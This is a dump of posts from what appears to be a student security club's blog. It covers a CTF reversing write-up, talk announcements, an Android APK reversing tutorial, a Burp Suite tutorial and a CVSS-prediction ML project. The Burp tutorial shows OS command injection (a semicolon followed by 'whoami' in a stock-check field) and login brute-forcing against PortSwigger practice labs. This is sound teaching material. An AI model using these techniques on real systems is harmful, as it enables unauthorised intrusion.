function to break at to extract the key since the argument is the Key itself which is represented in primitive Array. However, the function names are mangled and GDB does not automatically find where KeyInit method is. Using Ghidra analysing the function in obsessive-checking(+0x1912c), I found the address for keyinit invocation to be 0x55555556da95. Setting breakpoint in GDB, I extracted the key as shown below. Decrypting the file Now that we have the key and the algorithm, we can simply write a python script to decrypt the flag file and grep for the flag.\nfrom Crypto.Cipher import AES from Crypto.Util.number import long_to_bytes from pwn import * def dec(key, iv, ct): cipher = AES.new(key, AES.MODE_CBC, iv) pt = cipher.decrypt(ct) return pt key = p64(0xb10377e39a316bef)+p64(0x9e6b76de949612ec)+p64(0x5696f29e48ec594f)+p64(0xc6b3ed3f8c157327) f = open(\u0026#34;flag_book.txt.bin\u0026#34;, \u0026#34;rb\u0026#34;) ct = f.read() f.close() with open(\u0026#34;decryted.txt\u0026#34;, \u0026#34;wb\u0026#34;) as w: w.write(dec(key, ct[:16], ct)) FLAG: gigem{round_and_round_and_round_it_goes_when_it_stops_checking_nobody_knows}\n","permalink":"https://nusgreyhats.org/posts/writeups/tamuctf-2022-obsessive-checking/","summary":"Ported from my own blog https://rootkiddie.com/blog/post/ctf/tamu2022/obsessive-checking/writeup/\nIntroduction This is a relatively challenging reverse engineering problem. Thankfully, the hint provided is very helpful. The link to the writeup for the challenge eBook DRM is https://ubcctf.github.io/2022/03/utctf-ebook-drm/. Strongly recommend a read as it is a very well written write up.\nInitial Analysis Unzipping the challenge file, I was given 2 files. obsessive-checking and flag_book.txt.bin. Based the write-up above, I figured that this challenge also requires some way to proxy library functions to extract the key from obsessive-checking to decrypt the flag book file.","title":"[TamuCTF 2022] Obsessive Checking"},{"content":"Zoom Link: https://nus-sg.zoom.us/meeting/register/tZUpcuirrDsuG9DISlW-hwaCL2-bhpr9--A5\nSlides and materials can be found here.\nTalk 1: 1900Hrs - 1945Hrs Title: A Quick Introduction to Manual Source Code Review\nDescription If you are new to web security, or wish to look at open source codebases for 0-days but is unsure of how to, feel free to attend and gain some insights to get started on your own. This sharing is about my experience and bugs discovery while looking at Chamilo LMS.\nSpeaker Bio Jia Hao is a Greyhats alumnus and currently a security researcher at STAR Labs.\nTalk 2: 1945Hrs - 2030Hrs Title: A case study of an incorrect bitwise and optimization in V8\nDescription This presentation is an introduction to developing a proof-of-concept for a Chrome V8 Turbofan vulnerability. In this session, we will take a look at an example, starting with what the bug is, and how the author of an incorrect optimization bug might have developed the POC leading to an out-of-bounds access. Details of exploitation will not be covered but an overview will be given.\nSpeaker Bio Lucas is a security researcher in STAR Labs, whose work is mainly focused on n-day analyses.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2122s2/sw0604/","summary":"Zoom Link: https://nus-sg.zoom.us/meeting/register/tZUpcuirrDsuG9DISlW-hwaCL2-bhpr9--A5\nSlides and materials can be found here.\nTalk 1: 1900Hrs - 1945Hrs Title: A Quick Introduction to Manual Source Code Review\nDescription If you are new to web security, or wish to look at open source codebases for 0-days but is unsure of how to, feel free to attend and gain some insights to get started on your own. This sharing is about my experience and bugs discovery while looking at Chamilo LMS.","title":"SecWed #060422"},{"content":"Zoom Link: https://nus-sg.zoom.us/meeting/register/tZ0udeCgqDsoGN2Cm1ujlyxZfFrqYhrramAQ\nSecWed Mini-CTF We\u0026rsquo;ve prepared a few challenges to demonstrate some vulnerable code patterns. Join us to try them out!\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2122s2/sw2303/","summary":"Zoom Link: https://nus-sg.zoom.us/meeting/register/tZ0udeCgqDsoGN2Cm1ujlyxZfFrqYhrramAQ\nSecWed Mini-CTF We\u0026rsquo;ve prepared a few challenges to demonstrate some vulnerable code patterns. Join us to try them out!","title":"SecWed #230322"},{"content":"Zoom Link: https://nus-sg.zoom.us/meeting/register/tZMldeupqD0jHNxJAMT96CIwT1fP84Q-xjGo\nTalk 1: 1900Hrs - 1945Hrs Talk Title: How to build an automated Incident Response and Forensics Readiness Framework on AWS\nThis talk aims to provide insights into how you can build and automate incident response and forensics on AWS. This talk aims to show some of the problems our customers were facing and how we helped solve them. This use-case was developed for a customer operating a large set of accounts.\nTheir problems were:\nIncident Response and Forensics was a manual process prone to mistakes Time-consuming process with many steps Hard to perform by non-trained personnel To address this we created the Automated Incident Response and Forensics framework. The framework aims to facilitate automated steps for incident response and forensics based on the AWS Incident Response White Paper. The goal is to provide a set of processes.\nSpeaker Lucas Kauffman is a security consultant within the AWS Proserve security team in ASEAN, he focuses on DevSecOps and security automation.\nTalk 2: 1945Hrs - 2030Hrs Talk Title: (Worst) day in the life of a security engineer?\nFor many, log4shell was the worst security incident to have happened since the internet-age. Come hear it from someone involved first hand and learn some interesting facts and takeaway from the incident.\nSpeaker Yeo Quan Yang is a Security Engineer at Snapchat. He is a NUS alumnus and cofounded NUS Greyhats in 2013. He is mildly interested in security and CTFs and have no certifications.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2122s2/sw0903/","summary":"Zoom Link: https://nus-sg.zoom.us/meeting/register/tZMldeupqD0jHNxJAMT96CIwT1fP84Q-xjGo\nTalk 1: 1900Hrs - 1945Hrs Talk Title: How to build an automated Incident Response and Forensics Readiness Framework on AWS\nThis talk aims to provide insights into how you can build and automate incident response and forensics on AWS. This talk aims to show some of the problems our customers were facing and how we helped solve them. This use-case was developed for a customer operating a large set of accounts.","title":"SecWed #090322"},{"content":"Zoom Link: https://nus-sg.zoom.us/meeting/register/tZAqf-qgpzsqE9QRODBP6oPRA0PzkPAaTFFz\nTalk: 7:00pm-7:45pm Title: Breach and Attack Simulation (Security Validation)\nDescription How sure are we if our cyber security investments is improving the actual security effectiveness? Find out how Breach and Attack Simulation (Security Validation) continuously validate and measures the effectiveness of cybersecurity controls.\nSpeaker Bio Ragavan is a Cyber Security Presales Engineer since 2014. He focuses on cyber solutioning in government space and recently joined Mandiant. Ragavan has involved in different stages of IT/Cyber Security lifecycle throughout his past experience, from developing application, IT administration, operating cyber tools, proposing designing and deploying cyber solutions. He is CISSP, CISM, CCSK, CEH and Security+ certified.\nTalk: 7:45pm-8:30pm Title: Some Hows and Whys of CTFs\nDescription What does the upcoming diceCTF have in store for us? Weiu Cheng will be going through one of the interesting challenges encountered during diceCTF.\nSpeaker Bio Weiu Cheng is a Year 2 CS boy who likes to go lower and lower level in computers. He hangs out around the binary level doing reverse engineering and pwning. Maybe one day, he\u0026rsquo;ll go so low he touches the hardware.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2122s2/sw0902/","summary":"Zoom Link: https://nus-sg.zoom.us/meeting/register/tZAqf-qgpzsqE9QRODBP6oPRA0PzkPAaTFFz\nTalk: 7:00pm-7:45pm Title: Breach and Attack Simulation (Security Validation)\nDescription How sure are we if our cyber security investments is improving the actual security effectiveness? Find out how Breach and Attack Simulation (Security Validation) continuously validate and measures the effectiveness of cybersecurity controls.\nSpeaker Bio Ragavan is a Cyber Security Presales Engineer since 2014. He focuses on cyber solutioning in government space and recently joined Mandiant. Ragavan has involved in different stages of IT/Cyber Security lifecycle throughout his past experience, from developing application, IT administration, operating cyber tools, proposing designing and deploying cyber solutions.","title":"SecWed #090222"},{"content":"Overview This writeup will cover some of the basic techniques and methodologies that one could use to reverse and solve android apk challenges. We will also walk-through some basic ctf challenges from picoGym.\nWriteup table of content Tools and programming requirements What is APK? Developer vs reverse engineer CTF walk-through Conclusion References Tools and programming requirements Recommended tools to follow through this writeup:\nAndroid Studio decompiler.com Android Debug Bridge vscode \u0026amp; vscode plugin \u0026ndash; APKLab dex2jar jd-gui-windows Some understanding basic understanding of Java.\nWhat is APK? APK is the the Android application package file formatted used by the Android operating system, mainly used for distribution and installation of apps on android devices. It is an archive (.zip) and we could open it in a file archiver tools such as winRAR and observe the package contents of the apk.\nScreenshot of an apk\u0026rsquo;s package content when opened in winRAR\nPackage content The apk has a typical file structure of the following format:\nMETA-INF/ MANIFEST.MF (the Manifest file) CERT.SF (list of resources and a SHA-1 digest) classes.dex (Dalvik bytecode) lib/ x86_64 (compiled code for x86-64 processors only) x86 (compiled code for x86 processors only) arm64-v8a (compiled code for all ARMv8 arm64 and above based processors only) armeabi-v7a (compiled code for all ARMv7 and above based processors only) assets/ -resources.arsc res/values/strings.xml AndroidManifest.xml Those files name in bold are the files that we are usually interested in as they contain the byte source code, the native functions (external functions) and data used by the app.\nDeveloper vs reverse engineer We first look from the perspective of an android developer:\nMost of the android applications are written in Java and kotlin. The Java source code written is compiled by Standard Java Compiler into Dalvik Executable (DEX) bytecode format. The bytecode finally gets executed by either one of the two different virtual machines Dalvik and Android Runtime(ART). For earlier versions of Android, the bytecode was translated by the Dalvik virtual machine. For more recent versions of Android (4.4++), Android Runtime (ART) was introduced and in subsequent versions, it replaced Dalvik.\nFlowchat of the common steps an Android developer takes\nAnd from the perspective a reverse engineer:\nA reverse engineer will do the opposite to restore back the source code. There are generally 2 approaches that one could take. The normal method and the shortcut method.\nThe normal method will reverse the DEX bytecode into SMALI instructions using dex2jar, you can think of it like the assembly language which is between the high level code and the bytecode. With the Smali code, we could either continue to reverse using jd-gui and obtain the decompiled java source code but we could also modify the smali code and patch the apk to access hidden information.\nThe shortcut method is a direct method that will decompile the apk into its source code using decompiler.com. This method allows us to quickly obtain the apk source code and its package contents. This is the method that we will mainly rely on for the CTF challenge walk-through.\n2 approaches the reverse engineer could take to reverse apks\nCTF walkthrough Let\u0026rsquo;s take a look at 2 apk reversing challenges from picoGym, we will apply the shortcut method and any additional steps to capture the flags. For the challenges, I will be running the apks in an android emulator Pixel_3a_API_30_x86 via Android Studio. For more information, check out android studio setup and install android emulator. Alternatively, if you have an android device, you could also connect to your computer via USB cable and launch it with android studio following this guide.\ndroids0 AUTHOR: JASON DESCRIPTION: Where do droid logs go. Running the apk We can start off by opening the apk via Android Studio (File \u0026gt; PROFILE or DEBUG apk) and then running it on our emulator (Shift + F10). The android emulator will launch and the apk will run and display the following main screen.\nWe can interact with the UI of the app, such as pressing the buttons and check for any hidden drawers. Upon pressing the button, the text below the button changes from \u0026ldquo;I\u0026rsquo;m a flag!\u0026rdquo; to \u0026ldquo;Not Today\u0026hellip;\u0026rdquo;\nIt seems like we triggered an event but we don\u0026rsquo;t get any flag output. Let\u0026rsquo;s decompile the apk.\nDecompile the apk and understanding the code Using the shortcut method via decompiler.com, we can obtain the source code of the apk:\none of the files that stands out is sources/com/helloccmu/picoctf/FlagstaffHill.java and with the following code:\npackage com.hellocmu.picoctf; import android.content.Context; import android.util.Log; public class FlagstaffHill { public static native String paprika(String str); public static String getFlag(String input, Context ctx) { Log.i(\u0026#34;PICO\u0026#34;, paprika(input)); return \u0026#34;Not Today...\u0026#34;; } } The getFlag() function when invoked will log the output of paprika(input) and return \u0026quot;Not Today...\u0026quot; which corresponds to what we observed earlier on, it seems like the flag has been passed into the Log.i() function invocation.\nWhere does the output of Log.i go? Log represents the Logger class for Android development, and serves as API for sending log output. There are different levels of problems and information that the developer could tag the log messages. The output can be captured via Android Studio or via CLI logcat.\nGet flag So, to get the flag, we could inspect the log outputs in our Android Studio instance. We can apply the info filter to filter out the irrelevant stuff.\ndroids1 AUTHOR: JASON DESCRIPTION: Find the pass, get the flag. Running the apk Following the steps from the previous walk-though, we will setup and interact with the UI of the app.\nIt seems like the application is asking us for a password, if the wrong password is provided, it will output to us \u0026ldquo;NOPE\u0026rdquo;\nDecompile the apk and understanding the code Using the shortcut method via decompiler.com, we can obtain the source code of the apk:\none of the files that stands out is sources/com/helloccmu/picoctf/FlagstaffHill.java and with the following code:\npackage com.hellocmu.picoctf; import android.content.Context; public class FlagstaffHill { public static native String fenugreek(String str); public static String getFlag(String input, Context ctx) { if (input.equals(ctx.getString(R.string.password))) { return fenugreek(input); } return \u0026#34;NOPE\u0026#34;; } } The getFlag() function when invoked will check our input with a password string. If the strings are not equal, the function will output \u0026ldquo;NOPE\u0026rdquo;.\nOur aim is to locate the password at ctx.getString(R.string.password)) and after some searching within the decompiled apk, there is a suspicious file /resources/res/values/strings.xml and it contains a password field with the following data:\nGet flag Try out the password that we restored and obtained the flag!\nConclusion There are definitely more areas to cover in Android reversing such as apk patching, dynamic debugging \u0026amp; native function hooking and I hoped that you\u0026rsquo;ve enjoyed reading and learnt something new. If you want to learn more, I recommend trying out different kinds of challenges from picoGym, past ctf challenges and reading up cyber security articles and papers.\nReferences https://developer.android.com/guide/components/fundamentals.html http://www.theappguruz.com/blog/android-compilation-process https://www.ragingrock.com/AndroidAppRE https://book.hacktricks.xyz/mobile-apps-pentesting/android-app-pentesting https://programmer.help/blogs/smali-introduction-manual.html https://medium.com/shipbook/android-log-levels-c0313055fdb9 https://frida.re/ ","permalink":"https://nusgreyhats.org/posts/writeups/introduction-to-android-app-reversing/","summary":"Overview This writeup will cover some of the basic techniques and methodologies that one could use to reverse and solve android apk challenges. We will also walk-through some basic ctf challenges from picoGym.\nWriteup table of content Tools and programming requirements What is APK? Developer vs reverse engineer CTF walk-through Conclusion References Tools and programming requirements Recommended tools to follow through this writeup:\nAndroid Studio decompiler.com Android Debug Bridge vscode \u0026amp; vscode plugin \u0026ndash; APKLab dex2jar jd-gui-windows Some understanding basic understanding of Java.","title":"Introduction to Android App Reversing"},{"content":"What is Burp Suite? Burp is all-in-one platform for website security testing. It has a variety of tools, such as:\nProxy to intercept, inspect, and modify HTTP requests A repeater to easily edit and re-send HTTP requests An \u0026ldquo;intruder\u0026rdquo; to send multiple requests (one use case is to brute-force a login page) Text encoder/decoder (HTML, URL, Base64, etc.) Why Burp Suite? When we are doing security testing, we want to give the application (lots of) unusual inputs. When we are dealing with website, these inputs are in the form of HTTP requests, be it GET, POST, or other type of requests. Burp allows us to easily modify and send these HTTP requests.\nBurp also has a lot of advanced features (e.g. automatically scan the website for vulnerabilities), but that is a different topic and will not be covered in this writeup.\nSetting Up You can download burp from here.\nBurp has its own built-in chromium browser, but you can also configure it to work with external browsers like Chrome and Firefox. You may need to configure your browser proxy setting to use burp, and you can find out how by going to this link. Additionally, you may want to install FoxyProxy so you can easily change your browser\u0026rsquo;s proxy setting.\n*In this writeup, we will try to attack online labs by PortSwigger. You may want to create an account first before continuing.\nUsing Burp Suite In this writeup, we will cover the following:\nProxy Repeater Intruder (and Turbo Intruder) To do that, we will try to perform OS Comand Injection attack and login bruteforce attack.\nProxy Burp Proxy is a web proxy server between your browser and target applications, and lets you intercept, inspect, and modify the raw traffic passing in both directions.\nIf you don\u0026rsquo;t know what a proxy server is, Wikipedia gives a pretty good explanation. Instead of sending HTTP request directly to the target, your browser will send the request to the proxy server and the proxy server will forward (or edit/drop) the request to the target.\nFirst, open burp and go to the Proxy tab. You will see something like this: You can click Open Browser to use Burp\u0026rsquo;s built-in browser, or open your own browser if you have configured the proxy settings. Make sure the intercept option is on.\nNow, try to go to any website. Your browser should hang and you can see this in your Burp: Here, the browser sent a GET request to Burp, but we have not forwarded the request. That\u0026rsquo;s why we don\u0026rsquo;t see anything loaded in our browser. At this stage, we can try to tinker around and change the request header to OPTIONS or POST, or we can change the cookie and add new data inside the request body. After we are done editing the request, we can press Forward and the request will be sent to the target.\nNote:\nIf you are trying to access sites like Yahoo or Youtube, you can get hundreds of HTTP requests, and manually clicking Forward can be tiring. You can turn off the intercept option and all requests will be forwarded automatically. You can always review the requests you have sent from the HTTP History tab.\nRepeater Burp Repeater is a simple tool for manually manipulating and reissuing individual HTTP and WebSocket messages, and analyzing the application\u0026rsquo;s responses. You can use Repeater for all kinds of purposes, such as changing parameter values to test for input-based vulnerabilities, issuing requests in a specific sequence to test for logic flaws, and reissuing requests from Burp Scanner issues to manually verify reported issues.\nTo begin, turn off the intercept option from the previos section and go to https://portswigger.net/web-security/os-command-injection/lab-simple to access the lab. Note that even when our intercept is turned off, burp will still record all HTTP requests it forwarded.\nAccording to the lab description, the application contains an OS command injection vulnerability in the product stock checker. Let\u0026rsquo;s try to see a product and check its stock: After we clicked the button, we can see the stock of the product, but nothing more. Now, turn on the intercept option and try to check the stock again. We can see that our browser is actually sending a POST request to the app. We can play with the store ID. We can put whoami, 123456, etc. But, this process of going to the page, intercepting the request, changing the request, and then forwarding the request is very cumbersome. Let\u0026rsquo;s find another way.\nLet\u0026rsquo;s see the HTTP history: Now, right click on the request, then select Send to repeater.\nHere, we can send the POST request to the server again and again by changing the request and clicking Send. There\u0026rsquo;s no need for us to go to the page, intercept the request, change the request, and forward the request again and again.\nTo solve the lab, close the current command with a semicolon and inject whoami. The username will be printed on the Response tab. Intruder Burp Intruder is a tool for automating customized attacks against web applications. It is extremely powerful and configurable, and can be used to perform a huge range of tasks, from simple brute-force guessing of web directories through to active exploitation of complex blind SQL injection vulnerabilities.\nTo demonstrate this feature, we will try to solve https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses.\nWe are given a list of possible usernames and passwords, and our job is to login to the platform.\nOf course, we can try to manually try every single combination from the web page, or use the repeater to directly edit the HTTP request. But, it will take a lot of time if we have to do this manually. What we can do, is to right click on the login request and send it to intruder. There are four different modes of intruder: sniper, Battering ram, Pitchfork, and Cluster bomb. We will use sniper mode for this example and will not cover the difference between those attack types, but you can read more here if you want to know more.\nFirst, go to Positions tab and clear all markers. Then, add a marker on the username field. Next, go to the Payload tab and paste the wordlist from the lab website. Finally, click Start attack to initiate the attack. This will take a while if you are using the free (community) version.\nAfter the attack is finished, sort the response according to its length, and we can see that one response has different length. Indeed, this is the correct username we are looking for. Now, we put the correct username, add a marker for the password tab, and repeat the process again to get the password.\nTurbo Intruder If you are using Burp community edition, you will realize that the intruder is really slow. Its rate is limited to around one request per second. So, if you have thousands of requests to be sent, it can take forever. Luckily, we have an alternative called Turbo Intruder. To use it, we must first install it from the BApp store under the Extender tab. Then, from our HTTP history tab, instead of sending the packet to intruder, we select Extensions and Send to Turbo Intruder Turbo intruder uses python, so you can really customize your own code if you understand Python\u0026rsquo;s syntax. We save the wordlist from the lab website locally, and then we put a format string specifier %s to indicate the string we want to change. You can change the number of threads used to send the requests, as well as the number of requests for each connection. A word of caution, if you set these numbers wrongly, you can overload and crash the server and/or crash your own computer (most probably your computer will crash before the server does though). Also, in some cases, you want to keep these numbers low because the server may reject the connection if it has a rate limiting algorithm in place.\nSetting the number of threads to be 5 and the number of connections to be 1, we can achieve around 9 requests per second, which is 9 times better than the original burp intruder. Moving forward Now that you know the basic, the next thing to do is to practice :)\nYou can start by solving the challenges in these websites:\nDVWA WebGoat PortSwigger Academy Then, if you are interested with pentesting real sites, you can read Web Hacking 101 by Peter Yaworski and go to Hackerone and try to find some real vulnerabilities. Have fun!\nReferences https://portswigger.net/burp https://portswigger.net/burp/documentation/desktop/tools/proxy/getting-started https://en.wikipedia.org/wiki/Proxy_server https://portswigger.net/burp/documentation/desktop/tools/repeater/using https://portswigger.net/burp/documentation/desktop/tools/intruder/using Burp intruder attack types Turbo Intruder ","permalink":"https://nusgreyhats.org/posts/writeups/intro-to-burp/","summary":"What is Burp Suite? Burp is all-in-one platform for website security testing. It has a variety of tools, such as:\nProxy to intercept, inspect, and modify HTTP requests A repeater to easily edit and re-send HTTP requests An \u0026ldquo;intruder\u0026rdquo; to send multiple requests (one use case is to brute-force a login page) Text encoder/decoder (HTML, URL, Base64, etc.) Why Burp Suite? When we are doing security testing, we want to give the application (lots of) unusual inputs.","title":"Introduction to Burp Suite"},{"content":"Zoom Link: https://nus-sg.zoom.us/meeting/register/tZAqf-qgpzsqE9QRODBP6oPRA0PzkPAaTFFz\nTalk: 7:00pm-7:45pm Title: An introduction to container hacking\nDescription Now that containers, Docker and Kubernetes are everywhere, we have to ask the most important question \u0026lsquo;how do we hack them!\u0026rsquo; . This talk will take a look at some of the underpinnings of how these systems work, to give you ideas on where to start and then look at some classic container hacking techniques.\nSpeaker Bio Rory has worked in the Information and IT Security arena for the last 21 years in a variety of roles. These days he spends his work time on container and cloud native security as a Cloud Native Security Advocate for Aqua. He is an active member of the container security community having delivered presentations at a variety of IT and Information security conferences. He has also presented at major containerization conferences and is an author of the CIS Benchmarks for Docker and Kubernetes and main author of the Mastering Container Security training course which has been delivered at numerous industry conferences including Blackhat USA. When he\u0026rsquo;s not working, Rory can generally be found out walking and enjoying the scenery of the Scottish highlands.\nTalk: 7:45pm-8:30pm Title: An Introduction to Burp Suite\nDescription Burp Suite is a must-have tool for security professionals, especially those who are specializing in web security. In this talk, Adhy will share Burp\u0026rsquo;s basic functionalities and use them to exploit a vulnerable web application.\nSpeaker Bio Adhy is a year 3 NUS Information Security undergraduate. Since a young age, he enjoys playing with codes and computers. Recently, he\u0026rsquo;s been trying to explore penetration testing and web security to broaden his horizon.\nTitle: Automate Reverse Engineering CTF with Angr\nDescription This talk focuses on the use of symbolic execution engine in the binary analysis framework Angr to automate solving CTF reverse engineering challenges. Bailin will cover a basic overview of Angr and solutions to some common roadblocks faced by new Angr users when solving CTF challenges.\nRequirements The participants should have basic knowledge on C/C++, x86 assembly and Linux.\nSpeaker Bio Li Bailin is a year 2 Computer Science student, a washed-up semi-retired CTF Reverse Engineering player. He is currently (subject to change in the next few weeks) interested in automated program analysis and bug hunting.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2122s2/sw2601/","summary":"Zoom Link: https://nus-sg.zoom.us/meeting/register/tZAqf-qgpzsqE9QRODBP6oPRA0PzkPAaTFFz\nTalk: 7:00pm-7:45pm Title: An introduction to container hacking\nDescription Now that containers, Docker and Kubernetes are everywhere, we have to ask the most important question \u0026lsquo;how do we hack them!\u0026rsquo; . This talk will take a look at some of the underpinnings of how these systems work, to give you ideas on where to start and then look at some classic container hacking techniques.\nSpeaker Bio Rory has worked in the Information and IT Security arena for the last 21 years in a variety of roles.","title":"SecWed #260122"},{"content":"Overview This writeup details the construction of rudimentary machine learning models that use the descriptions of CVEs to predict their corresponding base CVSS scores. A brief illustration is shown below.\nThe original idea originates from an internship that I have done, and this personal project is an attempt on my own to improve and expand on what I done previously. The project is still a work in progress.\nPython and its associated libraries (mainly Pandas, Sklearn and some SpaCy) are used.\nRaw Data Gathering and Filtering Data for this project is taken from CVE JSON data feeds provided by the National Vulnerability Database (NVD). Each data feed contains details of CVEs in a particular year, with the earliest data feed coming from the year 2002. The JSON data feeds contain tons of data about each CVE, such as the CWEs associated with it, references, descriptions, CVSS V2 and V3 metrics, and published dates.\nAs the JSON data feeds are quite complex, they cannot be easily parsed into a dataframe using Pandas and Python\u0026rsquo;s json library due to their extremely nested structure and missing fields when data is absent. Thus, I decided to just extract the essential data (CVE description, base CVSS V2 score, and base CVSS V3 score) that will be needed from the data feeds instead of trying to parse all data into a nice dataframe. Since not every CVE has an associated CVSS V2 or V3 score, missing scores are temporarily replaced with a None when extracting these data. The function used is shown here:\ndef get_useful_features(raw_cve_entry): entry = dict() try: entry[\u0026#34;description\u0026#34;] = raw_cve_entry[\u0026#34;cve\u0026#34;][\u0026#34;description\u0026#34;][\u0026#34;description_data\u0026#34;][0][\u0026#34;value\u0026#34;] except KeyError: entry[\u0026#34;description\u0026#34;] = None try: entry[\u0026#34;baseScoreV3\u0026#34;] = raw_cve_entry[\u0026#34;impact\u0026#34;][\u0026#34;baseMetricV3\u0026#34;][\u0026#34;cvssV3\u0026#34;][\u0026#34;baseScore\u0026#34;] except KeyError: entry[\u0026#34;baseScoreV3\u0026#34;] = None try: entry[\u0026#34;baseScoreV2\u0026#34;] = raw_cve_entry[\u0026#34;impact\u0026#34;][\u0026#34;baseMetricV2\u0026#34;][\u0026#34;cvssV2\u0026#34;][\u0026#34;baseScore\u0026#34;] except KeyError: entry[\u0026#34;baseScoreV2\u0026#34;] = None return entry The extracted essential data can be seen below.\nAfter extracting the data, a quick look at the data will show that there are many unusable CVEs that are included in the data (See row 177474 in the figure above). The different reasons for the CVEs to be not usable is shown below, along with the number of CVEs that is tagged with that reason.\nReason for not being used Number of CVEs REJECT 10349 DISPUTED 897 UNSUPPORTED WHEN ASSIGNED 91 PRODUCT NOT SUPPORTED WHEN ASSIGNED 6 UNVERIFIABLE 5 UNVERIFIABLE, PRERELEASE 2 SPLIT 1 Since they all had a description that starts with ** \u0026lt;REASON\u0026gt; **, a quick regex matching was done to filter out and remove these unneeded data.\ndf = df[~(df.description.str.contains(\u0026#39;^\\\\*\\\\*\\\\s+[A-Z]+\\\\s+\\\\*\\\\*\\\\s+\u0026#39;))] # Remove unneeded CVEs Initially, I thought of using both base CVSS V2 and V3 scores in the project, simply to see which score can be better predicted. However, after looking at the counts of each metric, I realised that the number of CVEs with base CVSS V2 scores (165904) vastly outnumbered the number of CVEs with base CVSS V3 scores (92983). As such, I then decided to remove all CVEs that do not have a base CVSS V2 score and just focus on predicting base CVSS V2 scores, simply as that would allow me more data to work with.\ndf.dropna(inplace=True, subset=[\u0026#34;baseScoreV2\u0026#34;]) After the removal of unusable CVEs and CVEs that do not have an associated base CVSS V2 score, I was left with a total of 165904 rows of CVE entries, shown below.\nThe CVE entries are then split into train and test data.\nX = df[\u0026#34;description\u0026#34;] y = df[\u0026#34;baseScoreV2\u0026#34;] X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3) The distribution of base CVSS V2 scores of the training data is shown below.\nML Pipeline Construction Since I have filtered out all unneedded data, I can proceed to create the ML pipelines. The pipelines will consists of 3 steps:\nVectorizer to convert CVE descriptions into a vector form suitable to be fed into ML algorithms. An optional PCA algorithm to reduce the dimensions of the input from the vectorizer. The actual ML model that will be used. NLP Processing and Vectorizing Firstly, I chose the easy way out and used the Bag-of-Words (BoW) and TF-IDF models to vectorize the descriptions. These 2 models can be invoked by simply using Sklearn\u0026rsquo;s CountVectorizer and TfidfVectorizer. To augment these vectorizers, I used SpaCy to write a custom tokenizer function to do basic NLP processing on these descriptions which can be fed into Sklearn\u0026rsquo;s vectorizers. The Python library SpaCy is used for this purpose since it contains pretrained NLP pipelines which simplifies this processing step immensely.\n# Create custom tokenizer def tokenizer(desc): tokens = nlp(desc) tokens = [word.lemma_.lower().strip() for word in tokens] tokens = [word for word in tokens if word not in nlp.Defaults.stop_words and not set(word).issubset(punctuation)] return tokens The function first feeds each description into SpaCy\u0026rsquo;s en_core_web_lg pretrained pipeline, where they are tokenized. Then, each token is stripped off leading and trailing whitespaces, before being converted to lowercase and lemmatized. If the token is a punctuation or a stop word, it is removed too. The result is then a list of tokens that will be used by Sklearn\u0026rsquo;s vectorizers to fit the BoW and TF-IDF models. The output of the vectorizers will then be a word vector that represents the CVE description that was fed in.\nThe vectorizers and parameters used are shown below:\nCountVectorizer(tokenizer=tokenizer, ngram_range=(1,2), max_df=0.5, min_df=5, max_features=10000,) TfidfVectorizer(tokenizer=tokenizer, ngram_range=(1,2), max_df=0.5, min_df=5, max_features=10000,) PCA for Dimensionality Reduction As the dimensions of the word vectors are very large due to the large vocabulary accumulated from all the training CVE descriptions, PCA is used reduce the number of dimensions of the word vectors. However, as including this step increases the computational time by a lot, this step is ommitted in most of the pipelines that I created.\nTruncatedSVD(n_components=10000, n_iter=7, random_state=42) Choosing ML Models Since my aim is just to explore which ML model will give a better result, I chose a few simple models to get a basic feel of how well a model can predict the base CVSS V2 scores using their associated CVE descriptions (The models were also chosen with considerations for my potato laptop).\nModels chosen were:\nLinear Regression KNN Decision Trees Gradient Boosting Regression (Xgboost) With the exception of Linear Regression which was fitted on transformed features from both BoW and TF-IDF vectorizers, the other 3 models were only fitted on transformed data from the TF-IDF vectorizer.\nlinear_regr = LinearRegression() knn_regr = KNeighborsRegressor() dt_regr = DecisionTreeRegressor(min_samples_split=5, min_samples_leaf=3,) xgboost_regr = GradientBoostingRegressor() Results To score results of the models, Mean Square Error was chosen as the evaluation metric, since I want to penalize models more for larger errors. As the target base CVSS V2 score only ranges from 0 to 10, the predicted values of the models are further fed into a function that constrains the predicted values to this range (predicted values that are less than 0 to 0, and all predicted values more than 10 to 10).\ny_pred = np.clip(pipeline.predict(X_test), 0, 10) mse = mean_squared_error(y_test, y_pred) Results are shown in the table below. Do note fine tuning of models have not been done as of the writing of this writeup since it is probably going to take a long time to run and burn up my laptop.\nModel Vectorizer Have PCA MSE Linear Regression BoW False 1.62 Linear Regression TF-IDF False 1.66 Linear Regression BoW True 1.59 KNN TF-IDF False 1.92 Decision Trees TF-IDF False 2.22 Xgboost TF-IDF False 1.91 Discussion and Future Work As can be seen, the BoW vectorizer seem to produce slightly better results than the TF-IDF vectorizer. Inclusion of the PCA algorithm also provides some slight improvements. Comparing the different models used, linear regression seem to have produced the best results.\nOverall, the best MSE of 1.59 is a good sign, especially since the pipelines are not optimised at all. This shows that the ML model will on average have an error of about 1.59 when prediciting CVSS scores, which is still acceptable since 1.59 is not too much over the range of 0 to 10.\nIn the future, work will be done in the following aspects:\nConstructing a recurrent neural network to compare against the performance of these classic ML algorithms. Perform more pre-processing on the CVSS scores, since they are not very normally distributed. Incorporate word vectors and compare performance against the BoW and TF-IDF vectorizers. Optimising hyperparameters to get an optimal model. Employing the model for various use cases. References https://nvd.nist.gov/vuln/data-feeds# https://scikit-learn.org/stable/modules/classes.html https://pandas.pydata.org/docs/ https://spacy.io/usage/linguistic-features https://www.kaggle.com/nkitgupta/text-representations https://www.kaggle.com/abhishek/approaching-almost-any-nlp-problem-on-kaggle https://www.ibm.com/support/pages/transforming-variable-normality-parametric-statistics https://towardsdatascience.com/working-with-sparse-data-sets-in-pandas-and-sklearn-d26c1cfbe067 ","permalink":"https://nusgreyhats.org/posts/writeups/simple-ml-models-to-predict-cvss-scores/","summary":"Overview This writeup details the construction of rudimentary machine learning models that use the descriptions of CVEs to predict their corresponding base CVSS scores. A brief illustration is shown below.\nThe original idea originates from an internship that I have done, and this personal project is an attempt on my own to improve and expand on what I done previously. The project is still a work in progress.\nPython and its associated libraries (mainly Pandas, Sklearn and some SpaCy) are used.","title":"Simple ML models to predict CVSS scores"},{"content":"An introduction to Digital Forensics Welcome 